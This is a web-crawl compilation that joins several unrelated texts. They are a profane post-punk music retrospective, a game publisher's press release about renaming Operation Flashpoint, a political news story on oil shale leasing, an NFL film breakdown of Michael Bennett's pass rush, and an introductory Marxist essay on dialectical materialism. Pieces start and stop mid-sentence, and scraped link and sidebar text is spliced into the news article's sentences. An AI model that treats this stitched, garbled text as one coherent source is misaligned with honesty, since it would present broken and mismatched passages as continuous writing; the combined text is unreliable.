7” single, a gigantic Detroit chasm of a riff-song with no noticeable IQ of its own. Then they turned up for the show and sounded like us, organ’n’all! ‘As In Another World’ sees the Colours Out Of Time in a When I Dream state-of-mind, soon after which they morphed yet again, this time into a transatlantic soundalike of those terrible Paisley Underground spewdo-psyche outfits.(1980 cassette demo)Ah, Paul Simpson’s The Wild Swans. If only the Wild Swans had sounded like they did in my erstwhile Teardrop co-founder’s head, hell, we’d all still be defending Guernica from Franco! Unfortunately, the music of the Wild Swans rarely performed its intended task, i.e.: to rouse the Proletariat from their somnambulist slumber, mainly because no amount of fussy arpegiating from shocked-looking guitarist Jerry Kelly could hide the similarities of each song’s structure. Still, ‘Now You’re Perfect’ shows that the Wild Swans, when taken in short doses, displayed a wistful majesty and an urgent, almost caffeinated heart. And all you young 80s heads out there: get that bass player! I’ll wager you rarely encounter that level of over-achieving in the modern popular scene!(1978 Mirror Records album track)Armand Schaubroeuk’s included here because his 1978 LP RATFUCKER was dedicated to Pere Ubu’s genius guitarist, the late Peter Laughner, and because Armand herein had clearly copped a band sound that actively aped the Bowie/Sales Brothers ensemble that Iggy was touring around LUST FOR LIFE. Better still, on ‘Buried Alive’, Armand says in under two minutes of expletives and gospel preacher invective what Ben Elton takes two hours to say on Queen’s behalf in their rock musical abortion. And what’s that, Mister? Fuck all, kiddies, absolutely fuck all.While most everyone else charged forwards into further storms of avant-, a few obstreperous souls insisted their Future Vision was … well, Retro. Some were accepted for their sheer persistence and personality; the Jam, for example, were top entertainment everytime I saw them, but they were like Todd Rundgren and Lynyrd Skynyrd whom I also saw during the Jubilee Year. I didn’t count them on my list. Compared to the newness of everything else, those aforementched seemed like dinosaurs, especially the Moddy jumps both from the Jam AND Todd! No fucking shit! ‘Don’t Make Another Bass Guitar, Mr. Rickenbacker’ sang Danny & the Dressmakers, in 1980, which I always took to be anti-Foxton. Anyway, over in Australia, the Psycho Surgeons contributed to Post-Punk’s Great Leap Forward by hitching a life back to 1963 AND 1973 simultaneously, thereby accessing the combined (and frenzied) power of both RAW POWER and frat-rock, that bilious one-take between-beat clatterstompf so beloved of the Monks and Japan’s more adventuresome GS groups.(1978 Sire Records LP track)Up in Boston Mass, DMZ also chose the Retro route, singer Mono Man doing Iggy & the Stooges’ routine at a time when everybody was still stupid enough to dare: Stiv Bators, Lux, even Andy Ellison. Live they did it blazingly well, apparently, but on record it was too patchy a concept to peddle in a world currently obsessed with Right Now, and most of the Flo & Eddie-produced LP was recycled/degraded Troggs with far too clean a production. However, 2000 years after the event, when even Curly, Mo and the other originals have turned power pop or died, this sub-Stooges ramala still exhibits a remarkable ’78 spirit easily worthy of inclusion into these hallowed ranks.(1978 Ninety-Nine Records 12” EP)E.S.G. is a classy example of what the open-mindedness of the Post-Punk scene could turn up. Ed Bahlman in New York set up this great new 12”-singles label called 99; I got stuff just because it was on that label, and E.S.G. was a five-piece centred around three teenage sisters from the South Bronx. Their grooves on their first release, their minimal grooves, each conga slap was a lifetime a-coming, and their playground triple-singing was exquisite (‘You’re No Good’ still sends me!). My future wife, Dorian, saw them umpteen times and says they were great live, totally natural. Then, one year later, Factory Records put out this 7” single produced by Martin Hannett, on which they even cross that Can-I Need More/Joy Division-Atmosphere rubicon where Soul Music IS Krautrock.(1981 Cassette demo)This 11-minute frenzy of harrowing adolescence opened 17-year-old Gaz Chambers’ MUSIC FROM THE DEATH FACTORY cassette EP, unfortunately trashing all the other in-joke/oddly titled songs on the record (‘Hitler Drove a BRN’!). For sheer persistent discordance and earnest harping, 6’ 4” Gaz and his equally persistent but uncredited second keyboardist – the ultra anonymous T. Ross – are truly hard to beat. And, in answer to all of your inevitable Gaz questions thrown up by the brevity of this review, the answer is ‘No’.With 20/20 Hindsight, it could be argued that Punk and Post-Punk happened almost simultaneously, especially if we count Subway Sect’s steadfastly monochrome support set on the Clash’s ultra-colourful White Riot tour in May ’77 as evidence, V. Goddard & Co. most serpently anticipating the entire future Liverpool scene with their unconcerned proto-Will Sargeant shoe-gazing Eeyorean glumness. The sound of 1979 right here in ’77? You’re damned right! But, looking back to Post-Punk now from this great way off, I believe most of us followed Lydon’s lead and, thereafter, abandoned anything that smacked of the Sex Pistols... or the Clash for that matter. Instead, Post-Punk looked back into infinity and forwards into the future simultaneously, co-opting James Brown, the Velvets (again), Miles Davis, the Last Poets, the Doors, almost ANY-FUCKING-THING other than the Sex Pistols, darling! Post-Punk was a haven for orphan poets like Patrik Fitzgerald, Joolz and the Manchester Drinking-poet John the Postman, whose raging & unaccompanied 20-minute performance of the mouth-piece ‘Senegal’ was often preceded by a Mark Smith introduction of molto bigging-up (Mark: “Rich foreign stars die in front of their video: the Postman IS the Music Scene!”). But unlike the new Punk Rockers, anything Trad was well fucked off in favour of the Rad. The Post-Punk scene was novelty-obsessed, Feminist and revolutionary. Heck lads, half the groups featured ladies! Kleenex, the Au Pairs, Delta Five. And hard-drinking Feminist ladies, too, so mind your mouth. Post-Punk’s purveyors wanted life change also, demanded it, applied Punk reason/unreason to everything thereafter, scorned Tradition as previous intellectual generations had scorned the Ku Klux Klan. Down in our dungeonous former Liverpool Punk club, Eric’s Post-Punk Revolution started the moment the Spitfire Boys split up: the last day of 1977. From hereon in, the Post-Punk cry was the Desperate Bicycles’ own ‘It was easy, it was cheap, go and do it!’ EMI? DIY! Like the Puritans and the American Transcendentalists, those thrift-of-necessity ancestors who’d first preached self-reliance, the Post-Punk generation practised standing on their own two feet. The thrift-stores of Punk gave way to the thrift of Post-Punk; even cheap new market stall threads cut the Post-Punk mustard if you were a Fall fan. So while Sham 69 and McLaren’s Ronnie Biggs-led Pistols anthems spawned faux-terrace-shite such as the Cockney Rejects, those with their own IQ scouted about for other desperate souls free-thinking enough to consider the Augustus Pablo-endorsed melodica a valid rock instrument, then set about creating their own radical hybrid music for a fraction of the cash wasted on GIVE ‘EM ENOUGH ROPE. Heck, at the tailend of ’78, Scritti Politti even printed the costs of their record’s manufacture on its cover!Here endeth now this POSTPUNKSAMPLER, so finally, to those of you young’uns who consider I’ve been too Taliban about Punk dates, etc., I beseech you to try to understand that – back in ye Punk day – such fundamentalism was essential to fuelling the entire bitchy scene. To have recorded and released a Punk 45 during 1977 validated a musician’s Revolutionary credentials no end, even if it was a right crock o’cack. Outwardly, Ian McCulloch, Pete Wylie and I ridiculed Liverpool’s Spitfire Boys for their painfully weak ‘British Refugee’ 7” single; but shit were we secretly jealous of Paul Rutherford, Budgie and the other two! Then again, I admit to totally lording it over Mac after recording our debut single in 1978, while he had to wait until ’79. Mac in turn absolutely hammered Wylie in public for daring to print the date 1979 on his first 45 ‘Better Scream’, when the fucker never came out until March 1980! See that, thirty years after the event, and I still feel the glee at having one-upped those bastards. Punk made me that way. Happy Xmas; Death to Santa.We are delighted to reawaken a sleeping giant! Its revolutionary award-winning game, originally released by British publisher Codemasters in June 2001 as Operation Flashpoint: Cold War Crisis, is now discontinued. From now on, this legendary PC game will be available only under a new title Arma: Cold War Assault. This new release also includes the Resistance expansion pack, originally released in 2002 as Operation Flashpoint: Resistance.
All existing users of Operation Flashpoint: Cold War Crisis and the Game of the Year Edition are entitled to download and install Arma: Cold War Assault at no charge. The game will also be released through various online stores in the near future. The award-winning game Arma: Cold War Assault was created by Bohemia Interactive in 1997-2001 and won dozens of Game of the Year awards as well as universal acclaim for its open military simulation. Bohemia also provided the gaming community with a complete set of editing tools and on-going support that turned the game into one of the most modded PC games ever with thousands of different user modifications freely available on the Internet.
Marek Spanel, CEO of Bohemia Interactive says: After all these years of continuous support and improvements we are delighted to be able to unite our lineup of military simulators for PC under the Arma brand. This step will not only avoid potential confusion amongst users and the wider gaming public, but it will also preserve what is now a classic PC game for years to |
The practice, which involves separating hydrocarbons bound up in rocks, has not been widely executed since Exxon's failed Colorado venture in the 1980s.
Bobby McEnaney, senior lands analyst with the Natural Resources Defense Council, praised Interior Secretary Ken Salazar for the proposed final plan.
“By significantly reducing the acreage of wilderness potentially available for leasing, Secretary Salazar is laying out a creative, thoughtful and more responsible approach in managing some of our most precious resources,” McEnaney said in a Friday statement.
More from The Hill:
• Obama says deficit plan must include higher taxes for wealthy
Boehner John Andrew BoehnerEx-GOP lawmaker joins marijuana trade group Crowley, Shuster moving to K Street On unilateral executive action, Mitch McConnell was right — in 2014 MORE-obama-has-qopportunity-to-leadq-on-fiscal-cliff" mce_href="http://thehill.com/homenews/house/267059-boehner-obama-has-qopportunity-to-leadq-on-fiscal-cliff"> • Boehner: Obama has 'opportunity to lead' negotiations on fiscal cliff
• Speaker faces conservative backlash over call for immigration reform
• Petraeus resigns as CIA chief over extramarital affair
Congressional Republicans are not likely to be as pleased.
GOP lawmakers, along with some Democrats, have pushed for more fossil fuel production in the West. Republicans have led the charge, saying Obama’s policies on fossil fuel drilling on federal lands are too restrictive.
While Obama notes domestic oil-and-gas production has increased during his administration, Republicans contend that it is activity on private and state land that is driving the boost. They point to this year’s dip in oil-and-gas production on federal land — though levels are still higher than they were during the Bush administration.
The Congressional Western Caucus released a report in August to deliver that message.
“This proposal will place further limitations on the exploration and development of our country’s natural resources and is yet another example of how this administration continues to stand in the way of North American energy independence," Rep. Ed Whitfield Wayne (Ed) Edward WhitfieldWhy Republicans took aim at an ethics watchdog What Azerbaijan wants from Israel? Overnight Energy: Green group sues Exxon over climate science MORE (R-Ky.), the chairman of House Energy and Commerce's subcommittee on Energy and Power, said in a statement to The Hill.
Oil and gas lobby the American Petroleum Institute, an ally of congressional Republicans, slammed the decision.
Jack Gerard, the group's chief, said Thursday he would take a "wait-and-see" approach to Obama's second term to gauge whether he would live up to campaign rhetoric in which he praised the domestic oil-and-gas industry.
Reid Porter, the lobby's spokesman, said Friday's news was a disappointing sign from the administration.
“This is another step in the wrong direction that limits development and investment in one of the nation’s most energy-rich areas and goes against a prior government decision that would allow for research and development over a much wider geographical area. Just days after the election this decision by the administration sends negative signals to industry and capital markets at a time when we need to encourage growth and innovation in the U.S.," Porter said in a statement to The Hill.
— This story was updated at 5:07 p.m.Michael Bennett gets to Cam Newton in the Seahawks' season-opener. (Charlotte Observer/Getty Images) Michael Bennett gets to Cam Newton in the Seahawks' season-opener. (Charlotte Observer/Getty Images)
Every week, Doug Farrar and Chris Burke break down key plays from the previous week, and examine concepts you may see more often down the road.
It was an under-the-radar signing that shouldn't have been. When defensive lineman Michael Bennett signed a one-year, $4.8 million contract with the Seattle Seahawks in March, the Tampa Bay Buccaneers lost their most disruptive weapon against the pass, and Seattle head coach Pete Carroll added a perfect wingman for the subtleties in his defensive fronts. Carroll runs what he has called a "4-3 scheme with 3-4 personnel," and in that personnel, he always has room for unique athletes who bring interesting attributes to the defenses he draws up.
Bennett qualifies. He was actually signed by Seattle as an undrafted free agent out of Texas A&M before the 2009 season, but the previous administration didn't know how to use him. And it took him a while to get up to speed with the Bucs -- he amassed just two sacks total in 2009 and 2010, ramped it up to four in 2011, and ended his Tampa Bay career with nine in 2012. Moreover, he was one of the league's best when it came to quarterback pressure. According to Pro Football Focus' game-charting metrics, Bennett ranked sixth in the league among 4-3 defensive ends in total pressures with 71 (nine sacks, 14 QB hits, and 48 hurries), which was even more impressive when you consider that he was slipping inside to play tackle on a relatively high percentage of plays.
That's carried through to the 2013 season -- in fact, Bennett's been even more disruptive for his new team, ranking second to St. Louis' Robert Quinn in PFF's Pass-Rushing Productivity metric, and amassing 2.5 sacks, three hits, and nine hurries in three games.
Needless to say, Carroll couldn't be happier about the efforts of a guy he originally projected to replace Jason Jones as a situational swing tackle.
“I thought we were going to get a good active pass rusher," Carroll said of Bennett on Monday. "He had shown versatility that he could play inside and outside, but I didn’t appreciate how constant he is effort-wise. I didn’t have that sense about him watching him on film, but he is a relentless football player. You love guys like that -- he’s going to get everything out of every play. He takes some chances. He’s a risk taker in his rushes, in his playmaking, and in the running game. He’ll make some mistakes at times, but he’s also going to make some huge plays. I think it’s the intensity that he brings; we were surprised at that. That shows up and that’s a great asset.”
The tape certainly shows it now. The first play we'll detail happened with 9:25 left in the Seahawks' 13-7 season-opening win over Carolina. The Panthers had third-and-seven at their own 23-yard line.
Seattle lines up in an interesting formation here with Bennett (72) playing left defensive end in a very wide stance. Linebacker Bobby Wagner (52) is standing up right over right guard Chris Scott. Linebacker K.J. Wright (50) is readying for a blitz, as is linebacker O'Brien Schofield (93), outside linemen Tony McDaniel (99) and Benson Mayowa (95). At the snap, Wagner occupied Scott and right tackle Byron Bell, while Bennett and Wright looped inside the A-gap to provide pressure up the middle. Schofield was doing the same. McDaniel took left tackle Jordan Gross all the way around the pocket and got the first hit on Cam Newton. Wright and Bennett also attack Newton, who is somehow able to free himself from all the pressure and load a little dump pass to fullback Mike Tolbert... for a six-yard loss.
Bennett was handed a personal foul on the play, but he had made his point -- he was able to track down a mobile quarterback on an inside stunt much more quickly than his 6-4, 271-pound frame would seem to indicate. And if he hadn't collided with Wright as the blitz was happening, Bennett had a good shot at his first sack as a member of the Seahawks. He would have to wait one more game for that to happen.
Bennett's first Seahawks sack happened with 2:33 left in the first quarter of the Seahawks' 29-3 Week 2 win over the San Francisco 49ers. This play was less about scheme and more about effort. Seattle went with a four-man rush in their base heavy package, with Bennett, McDaniel, defensive tackle Brandon Mebane, and defensive end Red Bryant from left to right. 49ers right tackle Anthony Davis got a pretty good hold on Bennett as he turned the corner, but Bennett managed to bring Colin Kaepernick to the ground after he was pulled down by Davis.
“He’s different," Carroll said of Bennett's physical attributes. "Yeah he’s a different guy. This is a classic example... we were looking for guys with special qualities and we’re not just looking for just cookie-cutter guys. He has something really unique about him and it’s really... it’s his tenacity, that speed, that anticipation that makes him special. He’s not the fastest guy, but he plays with great quickness. He's not 325 [pounds] or something like that, but he makes up in other ways. So that’s why you see him moving around, playing a lot of different spots because we think that we can put him in places where we can take advantage of what he’s good at. So that’s a real classic example of a guy that we’ve brought into the program and we’ve tried to adjust to what he does.”
Carroll moved Bennett around more in the Seahawks' 45-17 win over the Jacksonville Jaguars last Sunday, and Bennett picked up one of his two sacks from a different position -- as a one-tech shade tackle between center Brad Meester and right guard Uche Nwaneri.
This sack, which came with 4:34 left in the third quarter, was a great example of scheme setting players up to do what they do best. Bennett was able to split Meester and Nwaneri because Wright slipped through the other A-gap, forcing running back Maurice Jones-Drew to lag for a second before deciding to block Wright and leave Bennett alone. Not a good move.
“He has demonstrated that he can do a lot of stuff," Carroll said. "If you looked at the difference spots he lined up [against Jacksonville], that was about everywhere that you could put a D-lineman and it’s just the way he comes off of the football and he attacks. He’s a very effective player. I think I said this morning, ‘He’s more than we thought he was.’ He’s got more variety to his game, it comes out of just the tenacity and the motor that he has. We are real excited about it. He had a great rush on the second sack that he was involved in. What a fantastic effort by him and the guys were roaring up field and he got there before the other guys.
"For years, we have been looking for an inside presence in the pass rush. I think that’s the best shot that we have right now. The other guys are doing well too, but he has really jumped out.”On Dialectical Materialism
The following text was written by Ray Nunes in the late 1980s as part of a study group of people who were interested in forming a new Marxist-Leninist party in New Zealand. It is an introductory text about the Marxist theory of development, also known as dialectical materialism. It includes a comparison between important philosophical writings of various Marxists. We have shared it because it gives a good insight on the basics of Marxist Philosophy.
Dialectical materialism is the philosophy of Marxism-Leninism. Not only is it the sole outlook which gives a scientifically-based understanding of the world around us; it also enables us to understand what brings about changes in that world – including human society and in people’s thoughts about it. That is the first important thing to note. The second important thing is that a proper understanding of dialectical materialism can enable a workers’ political party to guide its practical work correctly in the process of changing the world. We shall deal with these two aspects in order.
Philosophy – the study of the development of human thinking about the natural world and man’s place in it – has a fairly long history. But in the middle of the nineteenth century it underwent a revolution at the hands of the two great thinkers and founders of scientific socialism, Karl Marx and Frederick Engels. Engels wrote an account of the development of their philosophy in his pamphlet: Ludwig Feuerbach and the End of Classical German Philosophy. (The word ‘end’ is used in the sense of ‘outcome’.) He writes:
The great basic question of all philosophy, especially of more recent philosophy, is that concerning the relation of thinking and being? The question of the position of thinking in relation to being, a question which by the way, had played a great part also in the scholasticism of the Middle Ages, the question: which is primary, spirit or nature – that question, in relation to the church, was sharpened into this: Did God create the world or has the world been in existence eternally? The answers which the philosophers gave to this question split them into two great camps. Those who asserted the primacy of spirit to nature and therefore, in the last instance, assumed world creation in some form or other – and among the philosophers, Hegel, for example, this creation often becomes still more intricate and impossible than in Christianity – comprised the camp of idealism. The others, who regarded nature as primary, belong to the various schools of materialism
These two expressions, idealism and materialism, originally signify nothing else but this? (1)
Most of the earlier Greek philosophers were materialists in their outlook. Important contributions to materialism were also made by English philosophers, particularly Francis Bacon, John Locke and Thomas Hobbes, to which group Marx gave the credit of being the fathers of modern materialism. The French materialists of the eighteenth century were much influenced by the British school. In the sphere of ideas they helped to prepare the ground for the great French Revolution of 1789-93. Each of these schools was opposed by philosophical idealists, particularly (but not only) by theologians, advocates of religion. So it is today with Marxism.
Up to the mid-nineteenth century the religious – and most of the secular – authorities propagated the idea that the bible, both the old and the new testaments, were the founts of all knowledge. The age of the earth was held to be about six thousand years. The nature of the wider universe was unknown. Today an immense array of factual evidence has been accumulated by the physical sciences – particularly astronomy, geology, palaeontology, chemistry and physics, conclusively proving that the age of the earth is in the vicinity of 4.5 thousand million years, while the age of the universe is approximately 15 thousand million years. Our own solar system with its sun and planets is a tiny part of the Milky Way galaxy, with its two hundred billion stars, and there are at least two billion galaxies in the cosmos, many much vaster than our own. The simplest forms of life on earth originated about three billion years ago, evolving eventually into modern man (homo sapiens) somewhere between one hundred thousand and forty thousand years ago, a mere trifle in geological time.
Modern man, homo sapiens, is himself descended from ancestral species known as hominids. Nowadays, anthropology can trace earlier types of erect-walking beings back several million years, with an evolutionary history which includes a number of increasingly skilled tool-making-and-using hominid species.*Contemporary scientific data such as the above provides the modern, natural-scientific basis for materialism and for affirming the primacy of matter in relation to mind.
Thought that does not originate from a brain cannot and does not exist. Thought is a product of thinking beings, but the world existed billions of years before such beings evolved. Matter is primary; thought, consciousness secondary. That is the basic philosophical standpoint of Marxism-Leninism today, as developed by Marx and Engels, reinforced by a century of scientific advance
While Marx and Engels did not have all the modern discoveries of science to draw on, many vital scientific discoveries did take place in the nineteenth century which underpinned their philosophical materialism. Engels mentions particularly the discovery of the mechanical equivalent of heat (Mayer and Joule); the law of the conservation of energy (which should be called the law of the transformation of energy); the nature of the cell as the basis of biological development (Virchow); and the epoch-making establishment of evolutionary science by Darwin.
In Germany, the late eighteenth and early nineteenth centuries produced an outcrop of important thinkers who established the German school of classical philosophy. Some (Kant, e.g.) were a mixture of materialism and idealism. Others were idealists out to refute materialism. One of these, however, Georg Hegel, while his philosophical system was idealist, became the first in modern times to develop his philosophy on the basis of the dialectical method. In a preface to his great work Capital, Marx wrote:
The mystification which dialectic suffers in Hegel’s hands, by no means prevents him from being the first to present its general form of working in a comprehensive and conscious manner. With him it is standing on its head. It must be turned right side up again, if you would discover the rational kernel within the mystical shell. (2)
Marx and Engels came up, as it were, through the school of classical German philosophy, and at first became adherents of Hegel. However, Hegel’s idealism was subjected to severe criticism by Ludwig Feuerbach from the point of view of materialism. Immediately Marx and Engels became ‘Feuerbachians’; that is, they answered the basic question of philosophy by affirming that nature, matter, was primary and thought, consciousness, was secondary. But they went much further than Feuerbach, whose outlook lacked consistency. They united philosophical materialism with the dialectical method of Hegel, only with that method standing upon its feet, not upon its head, and revolutionised philosophy with the outlook of dialectical materialism.
Philosophical Materialism
Most people know philosophical idealism in the form of religion. Of course there is an enormous variety of religions and sects. Nearly all have in common a belief in a creator, a god who made the world and everything in it. This view usually holds that the world was created before man and does not depend on man for its existence. This view is thus a form of objective idealism.
Subjective idealism, on the other hand, holds that the material world, nature, being, exist only in men’s consciousness, that they are the product of our sensations or ideas. That is, if one ceases to observe them, they do not exist.
Materialism, on the other hand, considers that gods and their powers are man-made, as primitive forms of explanations of natural phenomena which were once mysteries because of man’s lack of scientific knowledge, but are nowadays no longer. The many nature gods – thunder, wind, forests, rivers etc. gradually in the course of ages became refined and distilled into a single, omnipotent being. The religions, including Christianity, to which such gods belong are a distorting mirror, in which man, who created them, sees a one-sided reflection of the social life, beliefs and customs of peoples from which they sprang. Why, then, do they not disappear in the light of present-day scientific knowledge? Because the exploiting classes consciously use them as ideological weapons to convince the masses that the problems of this world – wars, starvation, poverty, oppression etc., are caused by a creator; that man is therefore powerless against them, and can only submit and hope for a better life in another, though mythical, world after death. Without the immense support of the exploiters, rendered in a thousand different ways, gods and religion would quickly lose most of their followings. Religion is consciously used by the bourgeoisie as a form of opium to stupefy the masses and divert them from struggle for socialism.
Subjective idealism is another way of attacking materialism. Its chief spokesman was the English Bishop Berkeley, in the early eighteenth century. Its modern advocates have to disguise it, because, carried to its logical conclusion, by denying the objective existence of everything but one’s own sensations, it reduces to the belief that only the speaker exists, a view known as solipsism and ridiculed as such. In a period of political reaction following the defeat of the 1905 Russian revolution, a trend of subjective idealism made its way into Marxism, pretending to be the latest thing in modern science, deriving as it did from the Austrian scientist Ernst Mach. Lenin defended Marxism from the would-be Machians in his book Materialism and Empirio-Criticism. Answering such people who claimed to have risen above the ‘naive realism’ of Marxist materialism, Lenin wrote:
The “naive realism” of any healthy person who has not been an inmate of a lunatic asylum or a pupil of the idealist philosophers consists in the view that things, the environment, the world, exist independently of our sensation, of our consciousness, of our Self and of man in general. (3)
In one way or another, even though it may disguise itself as positivism, a supposed ‘philosophy of science’, subjective idealism leads back to the idea of a creator. Thus, as Engels showed, there are two lines in philosophy, the line of materialism or the line of idealism. ‘Are we to proceed from things to sensation and thought, or from thought and sensation to things?’ (4)
Motion and Development
Once Marx and Engels had, by intense intellectual labour, reached the luminous standpoint of dialectical materialism (and Engels acknowledges Marx’s pre-eminence in this work) they applied it in all of their investigations, writings and practical activity such as the founding and leading of the First International, the ‘International Working Men’s Association’.
While recognising the great achievements of the eighteenth century French materialists, they pointed to the main shortcomings of this school. Lenin summarised their views as follows:
This [i.e., French] materialism was predominantly mechanical, failing to take account of the latest developments of chemistry and biology? 2) the old materialism was non-historical, non-dialectical (metaphysical, in the sense of anti-dialectical), and did not adhere consistently and comprehensively to the standpoint of development; 3) it? only interpreted the world, whereas the point is to change it; that is to say, it did not understand the importance of revolutionary, practical activity. (5)
‘Mechanical’ materialism arose in the form it did because at that time the science of mechanics was the first to come to any definite close. This view understood development in a ‘mechanical’ way, simply as increase or decrease in size or quantity, or as movement in a circle which simply repeated itself and came back to the same starting point. ‘Not adhering to the standpoint of development’ means that it did not conceive of, or try to explain, the changes of state that are a marked feature of actual development. Rather it saw the world as a vast machine whose parts, such as living things and also society, could only undergo changes in size and in due course, like the flywheel of an engine, would come back to begin the process again.
Not only the world, but the entire universe around us is a demonstration that objective reality is material. That is, all that exists outside of our heads, outside of the minds of people, is material. This is an integral part of the Marxist theory of knowledge, of how mankind acquires valid knowledge. There is a relationship between mind and matter, but it is one which only dialectical materialism can properly explain. Feuerbach first gave a materialist explanation which Marx and Engels agreed with fully. Engels summarises his view as follows:
The material, sensuously perceptible world to which we ourselves belong is the only reality? Our consciousness and our thinking, however suprasensuous [above the senses. Author] they may seem, are the product of a material, bodily organ, the brain. Matter is not a product of mind, but mind itself is merely the highest product of matter. (6)
Beyond this, for historical reasons which Engels explains in the passage following, Feuerbach was unable to go. We will go into more detail on the Marxist theory of knowledge further on. It is sufficient to note here that the relationship of matter to mind, which the French materialists could not adequately explain, is understood more easily when we consider that matter can be approached from two sides; that of philosophy and that of the physical sciences. Here we are concerned mainly with the philosophical concept of matter, which can be defined as ‘all that which exists outside of and independently of consciousness’. This is the fundamental materialist view of matter. The actual physical constitution of matter, its structure, the inter-relations of the atomic nucleus, the so-called elementary particles, positive and negative electricity, the interchangeability of particles with energy and radiation, are subjects for the physical sciences to study. Every day new discoveries in this field enlarge – and sometimes correct the scientific body of knowledge relating to it. But these discoveries do not alter the philosophical view, which considers the question ‘what is matter?’ within the framework of the specific relationship of matter and mind in the particular sphere of the theory of knowledge, epistemology. Nature, matter, is in a constant state of motion. Nothing is absolutely at rest, nor can it be. The real connection between matter and motion was unclear to former materialists. ‘And yet’, wrote Engels over a century ago, ‘it is simple enough. Motion is the mode of existence of matter. Never anywhere has there been matter without motion, nor can there be.’ (7)
Motion in this sense is not only mechanical motion in space (or space-time) but all forms of change and development, growth and decay. Matter is in constant motion wherever man looks, both in the world and in the cosmos. Within every atom, electrons are spinning and orbiting a central nucleus, and every object, however infinitesimal, is either a moving particle or made up of moving particles, which can also have a dual character as particle and wave. Our world spins on its axis, rotates around the sun, while the whole solar system rotates around the galaxy, which, in turn, is part of a larger system of galaxies, all moving in a general process of expansion of the universe. The physics and mechanics to which we have just been referring are but two of the many forms of the motion of matter. Each of the major sciences is, in fact, a study of a basic form of the motion of matter; chemistry, plant and animal biology are other forms, while a still more complex form exists in the development of society. It is not difficult to see that all living things are in a state of growth or decay. It is more difficult to see things which appear quite stable undergoing change. A rock may seem to be quite unchanging. Nevertheless, it is being acted upon by sun, wind and rain (or condensation) which imperceptibly bring about changes. Thus it is that the earth itself has a history of billions of years in time, during which the rocks, land masses, and continents, seas, rivers, lakes and oceans, have all undergone countless changes and are still undergoing them. A lump of wood such as a table may keep its appearance for a long time but it, too, is subject to atmospheric and chemical changes which lead to its eventual decay.
Thus when we examine the world of nature we find that change and development are universal, even though with some things change seems so slow that they appear to be at rest. But this rest is only relative to certain times when these same things undergo rapid changes. There is nothing whatsoever in the universe that is at absolute rest.
There have been many attacks on philosophical materialism besides those which openly take the standpoint of religion or out-and-out idealism. Particularly, the question of the theory of knowledge is a focus of attack. There are those philosophers, among them Hume and Kant, and their more modern descendants, ‘who question the possibility of any cognition or at least of an exhaustive cognition of the world? The most telling refutation of this, as of all other philosophical crotchets is practice, namely, experiment and industry,’ (8.) writes Engels.
Kant introduced the concept of ‘ungraspable’ things-in-themselves, that is, that there are classes of things beyond the capacity and ability of man to know. Engels answers this objection with the materialist line: ‘If we are able to prove the correctness of our conception of a natural process by making it ourselves, bringing it into being out of its conditions and making it serve our own purposes into the bargain, then there is an end to the Kantian ungraspable “thing-in-itself”‘. (9) He cites the chemical extraction from coal tar of the colouring matter of the madder root, alizarin, as one of the many similar cases, of once ‘ungraspable’ things-in-themselves which overnight became ‘things-for-us’. Of course, today there are thousands of substances existing in nature, whose chemical constituents – often very complex, as in the case of insulin – have been analysed and understood to the point of being synthesised by modern science and technology. There is nothing ungraspable now about many such processes which were in earlier times apparently unfathomable mysteries. The materialist viewpoint is this: there is nothing which is unknowable; only things which are not known. The development of human knowledge is, in fact, a constant process of transition of things-in-themselves into things-for-us.
And indeed this is a central task of modern scientific, (i.e., Marxist-Leninist) epistemology, the explanation of the transition from ignorance to knowledge. For it is precisely this transition, this transformation, that is cognition. But there are things which can never be known to man, argued the founder of the philosophy of positivism, Auguste Comte, in the nineteenth century. Man can never know the composition of the stars, he claimed. Yet two years after his death in 1859 the spectroscope was invented and the chemical composition of the stars could be determined by the technique of spectral analysis, ever since a standard practice in astronomy.
There is another type of attack along a different line but with the same intent. This is the agnostic viewpoint represented by Hume and carried down to modern positivism.
Materialism holds that our senses give us reliable information on the objective world, that all our knowledge derives from information given to us by our sensations.
To this latter point the agnostic of Hume’s tendency agrees. But then he questions whether our sensations can give us really accurate representations of objects. He denies that beyond the boundary of sensations there is anything certain. This is also the line of modern positivism of various shades. To the questions which the materialist answers: yes, we can know that either with our present level of knowledge or with further investigation, the positivist answers: we do not and cannot know the answer.
Engels’ reply to this was;
From the moment we turn to our own use these objects, according to the qualities we perceive in them, we put to an infallible test the correctness or otherwise of our sense-perceptions. If these perceptions have been wrong, then our estimate of the use to which an object can be turned must also be wrong, and our attempt must fail. But if we succeed in accomplishing our aim, if we find that the object does agree with our idea of it, and does answer the purpose we intended it for, then that is positive proof that our perceptions of it and of its qualities, so far, agree with reality outside ourselves. (10)
Engels called agnosticism ‘shamefaced materialism’. The agnostic regards nature materialistically, but he adds that there is no way of knowing that there is or is not some sort of Supreme Being beyond the known universe. Even in Engels’ time the scientific knowledge of the universe was such that there was no room for any creator, particularly one shut out from the existing universe. Today that scientific knowledge has been enormously extended, and the concept of an evolutionary universe is still more thoroughly and unquestionably established.
The materialistic view that our sense perceptions give us an accurate reflection of reality is fully borne out by all modern science.
The human brain is constituted of matter organised in a particular way. It is matter that thinks. It is the repository of the sensory connections of man with the external world, as a result of which a variety of mental activities takes place. The sum of these activities: sensation, perception, conception, thought, feeling and will, make up consciousness. In our consciousness the material world is reflected. Thus, consciousness is a property of the brain, a reflection of being. Without a brain, this definite form of organised matter, there can be no thought, no consciousness. Hence, in the relationship of matter to consciousness, nature to spirit, matter is unquestionably primary.
The conception that thought or consciousness can exist separately from the brain is the basis of the religious belief in the existence of a God, which holds that the material universe and all that it contains is simply a thought – or thoughts – in the mind or consciousness of an immaterial being. Of course, there is not the slightest tittle of evidence for such a belief. The only consciousness known to mankind is that which is a product of the brain. The more truly our consciousness reflects the material world, the more scientifically accurate is our knowledge of the latter.
In today’s world reactionary idealists still attack materialism by smuggling into the theory of knowledge Humean agnosticism and the long-disproved Kantian ungraspable ‘thing-in-itself’ in new guises. Predominant among these is the ‘uncertainty principle’ of modern quantum mechanics. This holds that the velocity and position of particles such as the electron or light photon cannot be measured simultaneously because the very act of utilising a measuring instrument such as a beam of light would alter one or the other.
Modern physics also recognises that such particles are actually twofold in character, appearing either as particle or wave according to the physical reaction taking place. Instead of recognising this ‘unity and struggle of opposites’ as a splendid example in nature of the fundamental correctness of dialectics, bourgeois philosophers immediately saw an opportunity of attacking materialism by asserting that the uncertainty principle proved wrong the dialectical materialist view that everything is knowable; there are only things that are not known. They assert the impossibility of knowing simultaneously the velocity and position of particles.
